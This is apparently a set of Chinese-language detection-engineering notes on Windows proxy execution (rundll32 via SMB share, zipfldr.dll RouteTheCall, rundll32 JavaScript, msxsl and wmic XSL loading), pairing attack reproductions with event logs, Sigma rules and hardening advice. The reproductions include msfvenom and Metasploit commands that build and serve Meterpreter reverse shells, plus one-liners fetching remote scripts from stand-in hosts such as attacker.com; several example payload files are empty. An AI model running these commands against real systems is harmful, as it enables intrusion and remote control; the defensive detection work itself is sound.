攻击者可能利用**rundll32.exe**调用受信任或恶意动态链接库(DLL),代理执行代码,规避安全工具的检测(MITRE ATT&CK T1218.011)。`rundll32.exe`是Windows内置工具,用于加载DLL并调用指定函数或序数,常用于合法系统操作,因此常被白名单或误报。攻击者可通过`rundll32.exe`加载远程或本地恶意DLL,执行恶意载荷,如Meterpreter反向Shell,实现防御规避、初始访问或持久化。 本案例聚焦于通过`rundll32.exe`调用远程SMB共享中的恶意DLL(如`\\\share\test.dll,0`),利用Windows SMB协议加载并执行Payload。此技术利用`rundll32.exe`的白名单特性,结合网络文件共享的隐蔽性,增加检测难度。 ## 测试案例 ### 测试1:使用Rundll32.exe执行远程SMB共享的DLL Payload 攻击者通过`rundll32.exe`加载远程SMB共享中的恶意DLL,触发反向Shell。 **环境要求**: - 攻击机:Kali Linux(或其他Metasploit支持的系统) - 靶机:Windows 7(支持Windows 2003及以上) - 工具:Metasploit(生成Payload)、`rundll32.exe`(系统自带) - 权限:普通用户(需访问SMB共享的权限) - 路径: - `C:\Windows\System32\rundll32.exe` - `C:\Windows\SysWOW64\rundll32.exe` **攻击命令**(靶机): ```cmd rundll32.exe \\192.168.126.146\huwSj\test.dll,0 ``` **说明**: - `\\192.168.126.146\huwSj\test.dll`:远程SMB共享中的恶意DLL。 - `,0`:调用DLL的导出函数序数(通常为默认入口点)。 - 执行触发Meterpreter反向Shell。 **清理命令**: ```cmd taskkill /IM rundll32.exe /F ``` ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`rundll32.exe`的执行(需启用进程跟踪审核)。 - Event ID 5156:Windows过滤平台(WFP)连接,记录出站网络连接(如TCP 4444)。 - Event ID 5158:WFP绑定,记录`rundll32.exe`的网络活动。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`rundll32.exe`的命令行和父进程信息。 - Event ID 3:网络连接,记录`rundll32.exe`的SMB(TCP 445)和C2(TCP 4444)连接。 - Event ID 7:镜像加载,记录加载的DLL(如`test.dll`)。 **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建、网络连接和镜像加载事件。 ## 测试复现 ### 测试环境 - **攻击机**:Kali Linux 2019,IP:192.168.126.146 - **靶机**:Windows 7,IP:192.168.126.149,Sysmon已部署 - **工具**:Metasploit(`exploit/windows/smb/smb_delivery`) ### 测试过程 #### 1. 配置Metasploit(攻击机) **命令**: ```bash msfconsole use exploit/windows/smb/smb_delivery set SRVHOST 192.168.126.146 set LHOST 192.168.126.146 set LPORT 4444 exploit ``` **输出**: ``` [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Started service listener on 192.168.126.146:445 [*] Server started. [*] Run the following command on the target machine: rundll32.exe \\192.168.126.146\huwSj\test.dll,0 ``` **说明**: - 配置SMB服务器托管恶意DLL(`test.dll`),监听反向TCP连接(端口4444)。 #### 2. 靶机执行Payload **命令**: ```cmd rundll32.exe \\192.168.126.146\huwSj\test.dll,0 ``` **结果**: - `rundll32.exe`通过SMB协议加载`test.dll`,执行Payload。 - 攻击机接收Meterpreter会话: ``` [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.149:49381) at 2023-10-01 10:00:00 +0800 meterpreter > getuid Server username: 12306Br0-PC\12306Br0 ``` #### 3. 清理 **靶机**: ```cmd taskkill /IM rundll32.exe /F ``` **攻击机**: - 关闭Metasploit会话:`exit` - 停止SMB服务器。 ## 测试留痕 ### Sysmon日志(Event ID 1:进程创建) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10/01 10:00:00 事件 ID: 1 任务类别: Process Create 级别: 信息 用户: 12306Br0-PC\12306Br0 计算机: 12306Br0-PC 描述: Process Create: RuleName: technique_id=T1218.011,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.123 ProcessGuid: {bb1f7c32-2149-5e9b-0000-00107066a000} ProcessId: 2608 Image: C:\Windows\SysWOW64\rundll32.exe FileVersion: 6.1.7600.16385 Description: Windows host process (Rundll32) Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: RUNDLL32.EXE CommandLine: rundll32.exe \\192.168.126.146\huwSj\test.dll,0 CurrentDirectory: C:\Users\12306Br0\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600} LogonId: 0x6e21a TerminalSessionId: 1 IntegrityLevel: Medium Hashes: SHA1=963B55ACC8C566876364716D5AAFA353995812A8 ParentProcessGuid: {bb1f7c32-20fc-5e9b-0000-0010bd868700} ParentProcessId: 3808 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ``` **分析**: - 日志记录`rundll32.exe`加载远程DLL(`\\192.168.126.146\huwSj\test.dll`)。 - 父进程为`cmd.exe`,提示通过命令行触发。 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: 12306Br0-PC 描述: 已创建新进程。 进程信息: 新进程 ID: 0xa30 新进程名称: C:\Windows\SysWOW64\rundll32.exe 令牌提升类型: TokenElevationTypeDefault (1) 创建者进程 ID: 0xefa 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: rundll32.exe \\192.168.126.146\huwSj\test.dll,0 ``` **分析**: - 日志记录`rundll32.exe`的执行,命令行包含远程SMB路径。 ### Windows安全日志(Event ID 5156:WFP连接) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 5156 任务类别: Filtering Platform Connection 级别: 信息 用户: N/A 计算机: 12306Br0-PC 描述: Windows过滤平台已允许连接。 应用程序信息: 进程 ID: 2608 应用程序名称: \device\harddiskvolume2\windows\syswow64\rundll32.exe 网络信息: 方向: 出站 源地址: 192.168.126.149 源端口: 49381 目标地址: 192.168.126.146 目标端口: 4444 协议: 6 ``` **分析**: - 日志记录`rundll32.exe`发起TCP 4444连接,提示反向Shell。 - 另有SMB连接(TCP 445)用于加载`test.dll`(可能在Event ID 3中记录)。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测Rundll32.exe调用序数执行可疑DLL description: Detects suspicious execution of rundll32.exe loading DLLs by ordinal, potentially malicious. id: e79a9e79-eb72-4e78-a628-0e7e8f59e89c status: experimental author: Florian Roth date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/011/ - https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/ logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\rundll32.exe' CommandLine|contains: ',#' condition: selection fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate use of rundll32.exe with ordinal calls (e.g., control panel applets) level: high tags: - attack.defense_evasion - attack.execution - attack.t1218.011 ``` **规则说明**: - 检测`rundll32.exe`执行,命令行包含序数调用(如`,#0`或`,0`)。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法序数调用的误报。 ### 建议 1. **监控Rundll32.exe活动**: - 使用Sysmon(Event ID 1)捕获`rundll32.exe`的进程创建,检查命令行是否包含远程路径或序数。 - 监控Event ID 3(网络连接),检测SMB(TCP 445)或C2(如TCP 4444)连接。 - 监控Event ID 7(镜像加载),检测可疑DLL(如`test.dll`)。 2. **启用命令行和网络审计**: - 配置Windows安全策略,启用进程跟踪(Event ID 4688)和WFP连接(Event ID 5156)审计。 - 部署Sysmon,配置捕获进程命令行、网络连接和镜像加载事件。 3. **基线化行为**: - 建立`rundll32.exe`的正常使用基线,加载远程DLL或使用序数调用应极为罕见。 - 监控非预期父进程(如`powershell.exe`)或异常参数(如SMB路径)。 4. **限制Rundll32.exe使用**: - 使用AppLocker或组策略限制`rundll32.exe`的执行,仅允许特定场景。 - 禁用非必要的SMB客户端功能,限制远程DLL加载。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`rundll32.exe`代理执行。 - 设置高优先级告警,针对远程DLL加载或序数调用。 6. **行为链关联**: - 将`rundll32.exe`执行与其他可疑行为(如网络连接、子进程创建)关联,识别攻击链。 - 例如,检测`rundll32.exe`加载DLL后是否发起C2通信。 7. **网络防御**: - 配置防火墙阻止`rundll32.exe`的非必要出站连接(如TCP 4444)。 - 限制SMB出站流量(TCP 445),防止远程DLL加载。 - 监控异常IP或域名的网络流量。 8. **测试与验证**: - 在测试环境中模拟`rundll32.exe`加载远程DLL(如使用Metasploit的`smb_delivery`),验证检测规则有效性。 - 调整规则阈值,排除合法序数调用的误报。 ## 参考推荐 - MITRE ATT&CK T1218.011 - Windows白名单绕过技术 - Atomic Red Team T1218.011 - Microsoft文档:rundll32.exe ================================================ FILE: Windows/07逃避防御/T1218.011-Win-使用Zipfldr.dll执行Payload(白名单).md ================================================ # T1218.011-Win-使用Zipfldr.dll执行Payload(白名单) ## 描述 攻击者可能利用**rundll32.exe**调用受信任的动态链接库(DLL)执行恶意代码,规避安全工具的检测(MITRE ATT&CK T1218.011)。`rundll32.exe`是Windows内置工具,用于加载DLL并调用指定函数,常用于正常系统操作,因此常被白名单或误报。攻击者可通过此功能代理执行恶意载荷,降低被检测的概率。 **zipfldr.dll**是Windows自带的压缩文件夹处理组件(自Windows XP起),支持ZIP文件的压缩与解压,位于系统路径(`C:\Windows\System32`或`C:\Windows\SysWOW64`),可通过`rundll32.exe`调用其导出函数`RouteTheCall`执行任意可执行文件。此技术利用了`zipfldr.dll`的合法性,结合`rundll32.exe`的白名单特性,隐藏恶意行为。 攻击者可能通过`rundll32.exe zipfldr.dll,RouteTheCall `执行恶意可执行文件(如后门、Meterpreter shell),实现初始访问、持久化或横向移动。 ## 测试案例 ### 测试1:使用rundll32.exe和zipfldr.dll执行Payload 攻击者通过`rundll32.exe`调用`zipfldr.dll`的`RouteTheCall`函数,执行本地恶意可执行文件,获得反向Shell。 **环境要求**: - 攻击机:Kali Linux(或其他Metasploit支持的系统) - 靶机:Windows Server 2012(支持Windows XP至Windows 10) - 工具:Metasploit(生成Payload)、`rundll32.exe`(系统自带)、`zipfldr.dll`(系统自带) **攻击命令**(靶机): ```cmd rundll32.exe zipfldr.dll,RouteTheCall .\shell.exe ``` **说明**: - `shell.exe`:恶意可执行文件,需预先放置于指定路径。 - `RouteTheCall`:`zipfldr.dll`的导出函数,负责执行指定文件。 **清理命令**: ```cmd del .\shell.exe taskkill /IM shell.exe /F ``` ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`rundll32.exe`及其子进程(如`shell.exe`)的执行(需启用进程跟踪审核)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`rundll32.exe`和`shell.exe`的命令行及父进程信息。 - Event ID 3:网络连接,记录Payload的网络活动(如反向Shell)。 - Event ID 7:镜像加载,记录`zipfldr.dll`加载。 **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建和网络连接事件。 ## 测试复现 ### 测试环境 - **攻击机**:Kali Linux 2019,IP:192.168.126.146 - **靶机**:Windows Server 2012,IP:192.168.126.156 - **工具**:Metasploit,`msfvenom` ### 测试过程 #### 1. 生成Payload(攻击机) **命令**: ```bash msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\x0b' LHOST=192.168.126.146 LPORT=4444 -f exe > shell.exe ``` **说明**: - 生成Meterpreter反向TCP Payload,排除坏字符`\x00\x0b`。 - 输出文件`shell.exe`,需传输至靶机。 #### 2. 配置监听(攻击机) **命令**: ```bash msfconsole use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.126.146 set LPORT 4444 set AutoRunScript post/windows/manage/migrate exploit ``` **说明**: - 配置反向Shell监听,自动迁移进程以提升持久性。 - `post/windows/manage/migrate`替换已弃用的`migrate f`。 #### 3. 靶机执行Payload **命令**: ```cmd rundll32.exe zipfldr.dll,RouteTheCall C:\Path\To\shell.exe ``` **结果**: - `shell.exe`执行,触发反向Shell连接至攻击机。 - 攻击机Metasploit接收会话: ``` [*] Started reverse TCP handler on 192.168.126.146:4444 [*] Sending stage (180291 bytes) to 192.168.126.156 [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.156:49176) at 2023-10-01 10:00:00 +0800 meterpreter > getuid Server username: WIN-IFPMACUK8BT\Administrator ``` #### 4. 清理 **靶机**: ```cmd del C:\Path\To\shell.exe taskkill /IM shell.exe /F ``` **攻击机**: - 关闭Metasploit会话:`exit` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) **日志1:rundll32.exe**: ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN-IFPMACUK8BT 描述: 已创建新进程。 创建者主题: 安全 ID: S-1-5-21-1234567890-123456789-123456789-500 帐户名: Administrator 帐户域: WIN-IFPMACUK8BT 登录 ID: 0x3E7 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x918 新进程名称: C:\Windows\System32\rundll32.exe 令牌提升类型: TokenElevationTypeDefault (1) 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x948 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: rundll32.exe zipfldr.dll,RouteTheCall .\shell.exe ``` **日志2:shell.exe**: ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN-IFPMACUK8BT 描述: 已创建新进程。 创建者主题: 安全 ID: S-1-5-21-1234567890-123456789-123456789-500 帐户名: Administrator 帐户域: WIN-IFPMACUK8BT 登录 ID: 0x3E7 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x94c 新进程名称: C:\Users\Administrator\Desktop\a\shell.exe 令牌提升类型: TokenElevationTypeDefault (1) 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x918 创建者进程名称: C:\Windows\System32\rundll32.exe 进程命令行: "C:\Users\Administrator\Desktop\a\shell.exe" ``` **分析**: - 日志记录`rundll32.exe`调用`zipfldr.dll,RouteTheCall`执行`shell.exe`。 - `shell.exe`由`rundll32.exe`启动,表明代理执行。 - 命令行明确包含`zipfldr.dll`,便于检测。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测rundll32.exe使用zipfldr.dll执行可疑Payload description: Detects suspicious execution of rundll32.exe with zipfldr.dll to proxy execute payloads. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/011/ logsource: product: windows category: process_creation detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\rundll32.exe' CommandLine|contains: - 'zipfldr.dll,RouteTheCall' condition: selection fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate use of zipfldr.dll for ZIP file operations level: high tags: - attack.defense_evasion - attack.execution - attack.t1218.011 ``` **规则说明**: - 检测`rundll32.exe`执行,命令行包含`zipfldr.dll,RouteTheCall`。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法ZIP操作的误报。 ### 建议 1. **监控rundll32.exe活动**: - 使用Sysmon(Event ID 1)捕获`rundll32.exe`的进程创建,检查命令行是否包含`zipfldr.dll,RouteTheCall`。 - 监控Event ID 3(网络连接),检测Payload的网络活动(如反向Shell)。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数。 - 部署Sysmon,配置捕获进程命令行和网络事件。 3. **基线化行为**: - 建立`rundll32.exe`和`zipfldr.dll`的正常使用基线,`RouteTheCall`调用可执行文件应极为罕见。 - 监控非预期父进程(如`powershell.exe`)或异常参数(如`.exe`路径)。 4. **限制rundll32.exe使用**: - 使用AppLocker或组策略限制`rundll32.exe`的执行,仅允许特定场景。 - 监控未经授权的`zipfldr.dll`调用。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`rundll32.exe`代理执行。 - 设置高优先级告警,针对`zipfldr.dll,RouteTheCall`的使用。 6. **行为链关联**: - 将`rundll32.exe`执行与其他可疑行为(如网络连接、进程注入)关联,识别攻击链。 - 例如,检测`shell.exe`执行后是否发起C2通信。 7. **网络防御**: - 配置防火墙阻止非必要出站连接(如`shell.exe`的TCP 4444)。 - 监控异常IP或域名的网络流量。 8. **测试与验证**: - 在测试环境中模拟`zipfldr.dll`代理执行(如使用Meterpreter Payload),验证检测规则有效性。 - 调整规则阈值,排除合法ZIP操作的误报。 ## 参考推荐 - MITRE ATT&CK T1218.011 - 基于白名单的Payload执行 - Microsoft文档:rundll32.exe - Atomic Red Team T1218.011 ================================================ FILE: Windows/07逃避防御/T1218.011-Win-通过Rundll32的异常网络链接.md ================================================ # T1218.011-Win-通过Rundll32的异常网络链接 ## 描述 攻击者可能利用**rundll32.exe**调用受信任的动态链接库(DLL)或脚本,代理执行恶意代码,规避安全工具的检测(MITRE ATT&CK T1218.011)。`rundll32.exe`是Windows内置工具,用于加载DLL并调用指定函数,常用于合法操作,因此常被白名单或误报。攻击者可通过`rundll32.exe`执行恶意DLL或JavaScript,触发异常网络连接(如C2通信、恶意载荷下载),实现防御规避、初始访问或持久化。 异常网络连接是`rundll32.exe`执行恶意代码的常见指标。例如,攻击者可能使用以下命令加载远程脚本: ```cmd rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://malicious.com/malicious.sct") ``` 此技术已被恶意软件(如Poweliks)使用,触发非预期的出站连接,暴露攻击行为。 ## 测试案例 ### 测试1:Rundll32.exe触发异常网络连接 攻击者通过`rundll32.exe`执行JavaScript,加载远程恶意脚本,触发外部网络连接。 **环境要求**: - 系统:Windows(支持Windows 2003及以上) - 工具:`rundll32.exe`(系统自带) - 权限:普通用户 - 路径: - `C:\Windows\System32\rundll32.exe` - `C:\Windows\SysWOW64\rundll32.exe` **攻击命令**: ```cmd rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://attacker.com/malicious.sct") ``` **说明**: - `javascript:`:调用`mshtml.dll`的`RunHTMLApplication`函数执行JavaScript。 - `GetObject("script:")`:从远程URL加载恶意脚本(如SCT文件)。 - 触发对`https://attacker.com`的网络连接。 **清理命令**: ```cmd taskkill /IM rundll32.exe /F ``` **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建和网络连接事件。 ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`rundll32.exe`的执行(需启用进程跟踪审核)。 - Event ID 5156:Windows过滤平台(WFP)连接,记录出站网络连接。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`rundll32.exe`的命令行和父进程信息。 - Event ID 3:网络连接,记录`rundll32.exe`的出站连接。 - Event ID 7:镜像加载,记录加载的DLL(如`mshtml.dll`)。 ## 测试复现 ### 测试环境 - 系统:Windows 10 - 工具:`rundll32.exe`(系统自带) ### 测试过程 #### 1. 准备恶意脚本 - 在攻击者控制的服务器(如`https://attacker.com`)托管`malicious.sct`: ```xml ``` #### 2. 执行攻击 **命令**: ```cmd rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://attacker.com/malicious.sct") ``` **结果**(假设): - `rundll32.exe`发起HTTPS请求至`attacker.com`,下载`malicious.sct`。 - 脚本执行,启动`calc.exe`。 - 日志记录`rundll32.exe`的进程创建和网络连接。 #### 3. 清理 **命令**: ```cmd taskkill /IM rundll32.exe /F taskkill /IM calc.exe /F ``` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN10-TEST 描述: 已创建新进程。 创建者主题: 安全 ID: WIN10-TEST\user 帐户名: user 帐户域: WIN10-TEST 登录 ID: 0x12345 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1a2b 新进程名称: C:\Windows\System32\rundll32.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x3c4d 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://attacker.com/malicious.sct") ``` **分析**: - 日志记录`rundll32.exe`执行,命令行包含`javascript:`和远程URL。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 ### Windows安全日志(Event ID 5156:WFP连接) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 5156 任务类别: Filtering Platform Connection 级别: 信息 用户: N/A 计算机: WIN10-TEST 描述: Windows过滤平台已允许连接。 应用程序信息: 进程 ID: 6824 应用程序名称: \device\harddiskvolume1\windows\system32\rundll32.exe 网络信息: 方向: 出站 源地址: 192.168.1.100 源端口: 49152 目标地址: 93.184.216.34 目标端口: 443 协议: 6 过滤器信息: 过滤器运行时 ID: 12345 层名称: Connect 层运行时 ID: 48 ``` **分析**: - 日志记录`rundll32.exe`发起出站HTTPS连接(端口443)。 - 目标地址为外部IP(非私有网络),提示异常行为。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测Rundll32.exe的异常网络连接 description: Detects unusual network connections initiated by rundll32.exe, indicating potential malicious activity. status: experimental date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/011/ - https://www.elastic.co/guide/en/siem/guide/current/unusual-network-connection-via-rundll32.html tags: - attack.defense_evasion - attack.execution - attack.t1218.011 logsource: product: windows category: network_connection detection: selection: EventID: 5156 Application|endswith: '\rundll32.exe' Direction: Outbound filter: DestinationIp: - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 127.0.0.0/8 condition: selection and not filter fields: - Application - SourceIp - SourcePort - DestinationIp - DestinationPort falsepositives: - Legitimate rundll32.exe network activity (e.g., Windows Update) level: medium ``` **规则说明**: - 检测`rundll32.exe`的出站网络连接(Event ID 5156),排除私有IP范围(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8)。 - 规则为实验性,需测试以减少合法网络活动的误报。 ### Elastic规则查询 ```elastic process.name:rundll32.exe and event.action:"Network connection detected (rule: NetworkConnect)" and not destination.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or 127.0.0.0/8) ``` **说明**: - 检测`rundll32.exe`的网络连接,排除私有IP。 - 适用于Elastic SIEM环境,需调整为其他SIEM系统。 ### 建议 1. **监控Rundll32.exe活动**: - 使用Sysmon(Event ID 1)捕获`rundll32.exe`的进程创建,检查命令行是否包含`javascript:`或可疑DLL。 - 监控Event ID 3(网络连接),检测`rundll32.exe`的出站连接,尤其是非预期目标。 2. **启用命令行和网络审计**: - 配置Windows安全策略,启用进程跟踪(Event ID 4688)和WFP连接(Event ID 5156)审计。 - 部署Sysmon,配置捕获进程命令行和网络事件。 3. **基线化行为**: - 建立`rundll32.exe`的正常网络行为基线,生产环境中不应发起外部连接(如C2服务器)。 - 监控非预期父进程(如`powershell.exe`)或异常命令行(如`javascript:`)。 4. **限制Rundll32.exe使用**: - 使用AppLocker或组策略限制`rundll32.exe`的执行,仅允许特定场景。 - 监控未经授权的DLL或脚本调用。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`rundll32.exe`的异常网络活动。 - 设置高优先级告警,针对外部IP的连接。 6. **行为链关联**: - 将`rundll32.exe`网络连接与其他可疑行为(如子进程创建、注册表修改)关联,识别攻击链。 - 例如,检测`rundll32.exe`下载脚本后是否执行`calc.exe`或PowerShell。 7. **网络防御**: - 配置防火墙阻止`rundll32.exe`的非必要出站连接。 - 监控异常域名或IP的HTTPS流量。 8. **测试与验证**: - 在测试环境中模拟`rundll32.exe`加载远程脚本(如SCT文件),验证检测规则有效性。 - 调整规则阈值,排除合法网络活动(如Windows Update)的误报。 ## 参考推荐 - MITRE ATT&CK T1218.011 - Elastic:Rundll32异常网络连接 - Atomic Red Team T1218.011 - T1218.011:基于白名单Rundll32.exe执行Payload ================================================ FILE: Windows/07逃避防御/T1220-win-XSL Script Processing.md ================================================ # T1220-Win-XSL脚本处理 ## 描述 攻击者可能利用**可扩展样式表语言(XSL)**处理功能执行恶意代码,绕过应用程序白名单或安全控制(MITRE ATT&CK T1220)。XSL用于描述和渲染XML文件,支持嵌入脚本语言(如JavaScript、VBScript)以执行复杂操作。攻击者可通过微软的`msxsl.exe`工具或Windows管理工具(WMIC)调用XSL文件中的脚本,实现代码执行。 **msxsl.exe**是微软提供的命令行工具,用于处理XSL转换,接受XML源文件和XSL样式表作为参数。攻击者可利用其执行本地或远程的JavaScript/VBScript代码,绕过白名单限制,因为`msxsl.exe`是受信任的微软二进制文件。XSL文件本身是XML格式,允许攻击者使用相同文件作为XML和XSL参数,且文件扩展名可任意伪装(如`.jpeg`)。 另一种技术是**Squiblytwo**,利用`wmic.exe`通过XSL文件调用JScript/VBScript,支持本地或远程脚本执行,类似`regsvr32.exe`的代理执行行为。`wmic.exe`是Windows内置工具,增加攻击的隐蔽性。 此技术常用于规避防御机制,执行恶意载荷,如下载器、后门或凭据窃取脚本。 ## 测试案例 ### 测试1:使用msxsl.exe加载本地XSL脚本 攻击者使用`msxsl.exe`执行本地XML和XSL文件中的JavaScript代码,模拟恶意行为(如启动计算器)。 **环境要求**: - 系统:Windows(测试环境未找到`msxsl.exe`下载地址,需手动获取) - 工具:`msxsl.exe`(非Windows默认安装,可从微软或其他可信来源下载) - 文件:`malicious.xml`和`malicious.xsl`(包含恶意JavaScript) **攻击命令**: ```cmd C:\Windows\Temp\msxsl.exe malicious.xml malicious.xsl ``` **示例XSL文件(malicious.xsl)**: ```xml

Test

``` **示例XML文件(malicious.xml)**: ```xml Test ``` **清理命令**: ```cmd del malicious.xml malicious.xsl taskkill /IM calc.exe /F ``` **说明**: - `msxsl.exe`加载`malicious.xsl`中的JavaScript,执行`calc.exe`。 - 文件扩展名可伪装(如`.jpeg`),增加隐蔽性。 ### 测试2:使用msxsl.exe加载远程XSL脚本 攻击者通过`msxsl.exe`从远程服务器加载XSL脚本执行恶意代码。 **攻击命令**: ```cmd msxsl.exe http://attacker.com/malicious.xml http://attacker.com/malicious.xsl ``` **说明**: - 需在攻击者控制的服务器上托管`malicious.xml`和`malicious.xsl`。 - 远程加载增加规避静态检测的可能性。 ### 测试3:Squiblytwo使用wmic.exe加载XSL脚本 攻击者利用`wmic.exe`通过XSL文件执行远程或本地JScript/VBScript。 **本地攻击命令**: ```cmd wmic process list /FORMAT:evil.xsl ``` **远程攻击命令**: ```cmd wmic os get /FORMAT:"https://attacker.com/evil.xsl" ``` **示例XSL文件(evil.xsl)**: ```xml OK ``` **说明**: - `wmic.exe`加载`evil.xsl`中的脚本,执行PowerShell下载恶意文件。 - 远程XSL加载可通过HTTPS隐藏流量。 ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`msxsl.exe`或`wmic.exe`的执行(需启用进程跟踪审核)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`msxsl.exe`或`wmic.exe`的命令行和父进程信息。 - Event ID 3:网络连接,记录远程XSL文件加载(如HTTP/HTTPS请求)。 - Event ID 7:镜像加载,检测脚本相关DLL(如`jscript.dll`)。 - **Windows系统日志**:可能记录异常服务或进程行为(如防病毒服务停止)。 ## 测试复现 ### 测试1:msxsl.exe本地文件加载 **测试环境**:Windows 10(未找到`msxsl.exe`下载地址,假设已获取) **准备步骤**: 1. 准备`malicious.xml`和`malicious.xsl`(如上示例)。 2. 将`msxsl.exe`放置于`C:\Windows\Temp`。 **攻击命令**: ```cmd C:\Windows\Temp\msxsl.exe malicious.xml malicious.xsl ``` **结果**(假设): - `calc.exe`启动,表明XSL中的JavaScript成功执行。 - 日志记录`msxsl.exe`进程创建。 **清理**: ```cmd del C:\Windows\Temp\msxsl.exe malicious.xml malicious.xsl taskkill /IM calc.exe /F ``` **说明**:测试未成功,因未获取`msxsl.exe`。 ### 测试2:msxsl.exe远程文件加载 **攻击命令**: ```cmd msxsl.exe http://snappyzz.com/malicious.xml http://snappyzz.com/malicious.xsl ``` **结果**(假设): - Word未安装,无法测试。 - 预期:`msxsl.exe`发起HTTP请求,下载并执行远程XSL脚本。 ### 测试3:wmic.exe Squiblytwo **攻击命令**: ```cmd wmic process list /FORMAT:"C:\Temp\evil.xsl" ``` **结果**(假设): - `evil.xsl`中的PowerShell脚本执行,下载恶意文件。 - 日志记录`wmic.exe`进程和网络连接。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: WIN10-TEST 描述: 已创建新进程。 创建者主题: 安全 ID: WIN10-TEST\user 帐户名: user 帐户域: WIN10-TEST 登录 ID: 0x12345 目标主题: 安全 ID: NULL SID 帐户名: - 